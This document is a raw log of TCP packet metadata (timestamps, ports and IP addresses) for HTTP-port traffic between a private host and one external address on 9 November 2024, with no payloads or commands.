Nov 9, 2024 22:23:20.097497940 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.097507000 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.097552061 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.097556114 CET	49899	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:20.097584963 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.097594976 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.097603083 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.097606897 CET	49899	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:20.097635984 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.097649097 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.097656965 CET	49899	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:20.097673893 CET	49899	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:20.097709894 CET	49899	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:20.097718000 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.097726107 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.097729921 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.097737074 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.097763062 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.097778082 CET	49899	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:20.097805023 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.097815037 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.097819090 CET	49899	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:20.097847939 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.097850084 CET	49899	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:20.097857952 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.097865105 CET	49899	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:20.097867012 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.097892046 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.097894907 CET	49899	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:20.097901106 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.097910881 CET	49899	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:20.097933054 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.097942114 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.097946882 CET	49899	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:20.097986937 CET	49899	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:20.097989082 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.097999096 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.098042965 CET	49899	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:20.098047972 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.098061085 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.098088980 CET	49899	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:20.098095894 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.098104954 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.098109007 CET	49899	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:20.098140955 CET	49899	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:20.098143101 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.098155022 CET	49899	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:20.098191977 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.098191023 CET	49899	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:20.098203897 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.098212957 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.098227978 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.098237038 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.098251104 CET	49899	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:20.098265886 CET	49899	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:20.098273039 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.098284006 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.098289013 CET	49899	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:20.098325968 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.098335028 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.098340988 CET	49899	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:20.098359108 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.098367929 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.098381042 CET	49899	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:20.098416090 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.098419905 CET	49899	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:20.098424911 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.098458052 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.098458052 CET	49899	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:20.098469019 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.098480940 CET	49899	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:20.098483086 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.098498106 CET	49899	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:20.098529100 CET	49899	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:20.098537922 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.098577023 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.098593950 CET	49899	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:20.098593950 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.098606110 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.098619938 CET	49899	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:20.098634958 CET	49899	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:20.098660946 CET	49899	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:20.098695040 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.098716021 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.098723888 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.098731995 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.098737001 CET	49899	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:20.098766088 CET	49899	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:20.098773003 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.098783016 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.098787069 CET	49899	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:20.098818064 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.098830938 CET	49899	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:20.098858118 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.098862886 CET	49899	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:20.098867893 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.098907948 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.098917961 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.098920107 CET	49899	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:20.098927021 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.098936081 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.098952055 CET	49899	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:20.098964930 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.098973989 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.098994970 CET	49899	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:20.098995924 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.099004984 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.099014997 CET	49899	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:20.099049091 CET	49899	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:20.102056026 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.102065086 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.102123022 CET	49899	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:20.102155924 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.102164984 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.102186918 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.102195978 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.102220058 CET	49899	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:20.102238894 CET	49899	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:20.102245092 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.102262974 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.102365017 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.102374077 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.102516890 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.102615118 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.102622986 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.102663994 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.102684975 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.102699995 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.102709055 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.102761984 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.102783918 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.102827072 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.102835894 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.102905989 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.102914095 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.102930069 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.102937937 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.102948904 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.102957010 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.103040934 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.103049994 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.103079081 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.103089094 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.103132963 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.103151083 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.103190899 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.103199005 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.103224993 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.103231907 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.103271008 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.103279114 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.103327036 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.103334904 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.103347063 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.103413105 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.103420973 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.103430033 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.103437901 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.103465080 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.103472948 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.103534937 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.103542089 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.103550911 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.103559971 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.103568077 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.103651047 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.103660107 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.103667021 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.103674889 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.103780031 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.103787899 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.103796005 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.103804111 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.103813887 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.103914976 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.103924036 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.103931904 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.103940010 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.103948116 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.103956938 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.103965044 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.103967905 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.103988886 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.103996038 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.104002953 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.104043961 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.104053020 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.104059935 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.104069948 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.104079008 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.104087114 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.104094982 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.104147911 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.104156017 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.104163885 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.104185104 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.104192972 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.104199886 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.104207993 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.104211092 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.104263067 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.104270935 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.104280949 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.104290009 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.104296923 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.104305983 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.104315042 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.104324102 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.104331970 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.104401112 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.104408979 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.104417086 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.104424953 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.104434013 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.104441881 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.104449987 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.104458094 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.104461908 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.104470015 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.104553938 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.104562044 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.104568958 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.104578018 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.104588032 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.104595900 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.104598999 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.104605913 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.104665041 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.104674101 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.104681015 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.104688883 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.104692936 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.104696035 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.104773045 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.104780912 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.104789019 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.104796886 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.104804993 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.104814053 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.104820967 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.104883909 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.104892015 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.104901075 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.104908943 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.104912043 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.104921103 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.104928970 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.104937077 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.105031967 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.105040073 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.105047941 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.105051041 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.106967926 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.107201099 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.107383966 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.107397079 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.107435942 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.107444048 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.107564926 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.107575893 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.107594013 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.107601881 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.546295881 CET	80	49903	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.586776972 CET	49903	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:20.610400915 CET	80	49903	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.696172953 CET	49903	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:20.740715981 CET	49903	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:20.742789984 CET	49911	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:20.745959997 CET	80	49903	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.747689009 CET	80	49911	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:20.747809887 CET	49903	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:20.747839928 CET	49911	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:20.749394894 CET	49911	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:20.754242897 CET	80	49911	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:21.103230953 CET	49911	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:21.108495951 CET	80	49911	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:21.108505964 CET	80	49911	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:21.108514071 CET	80	49911	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:21.108635902 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:21.164900064 CET	49899	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:21.656528950 CET	80	49911	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:21.712745905 CET	80	49911	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:21.712810993 CET	49911	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:21.833461046 CET	49911	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:21.833462954 CET	49899	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:21.833723068 CET	49895	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:21.834238052 CET	49917	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:21.838669062 CET	80	49911	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:21.838723898 CET	49911	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:21.839055061 CET	80	49917	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:21.839111090 CET	49917	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:21.839248896 CET	49917	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:21.839502096 CET	80	49899	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:21.839544058 CET	49899	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:21.839584112 CET	80	49895	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:21.839628935 CET	49895	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:21.844091892 CET	80	49917	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:22.196233034 CET	49917	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:22.201102972 CET	80	49917	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:22.201114893 CET	80	49917	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:22.201141119 CET	80	49917	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:22.416276932 CET	49922	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:22.416522980 CET	49917	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:22.421150923 CET	80	49922	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:22.421242952 CET	49922	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:22.421339035 CET	49922	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:22.426120996 CET	80	49922	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:22.462148905 CET	80	49917	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:22.500015974 CET	80	49917	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:22.500061989 CET	49917	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:22.563642025 CET	49924	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:22.568484068 CET	80	49924	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:22.568542004 CET	49924	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:22.568665028 CET	49924	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:22.573467016 CET	80	49924	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:22.774391890 CET	49922	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:22.779350996 CET	80	49922	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:22.779361010 CET	80	49922	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:22.914985895 CET	49924	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:22.919835091 CET	80	49924	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:22.919846058 CET	80	49924	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:22.919853926 CET	80	49924	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:23.350269079 CET	80	49922	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:23.415349960 CET	80	49922	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:23.419001102 CET	49922	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:23.499982119 CET	80	49924	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:23.555824041 CET	80	49924	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:23.555908918 CET	49924	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:23.862461090 CET	49924	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:23.862461090 CET	49922	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:23.867793083 CET	80	49924	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:23.868316889 CET	80	49922	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:23.868391037 CET	49924	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:23.868406057 CET	49922	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:23.969187975 CET	49930	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:23.974188089 CET	80	49930	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:23.974976063 CET	49930	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:23.986654043 CET	49930	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:23.991439104 CET	80	49930	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:24.337045908 CET	49930	80	192.168.2.4	185.50.25.59
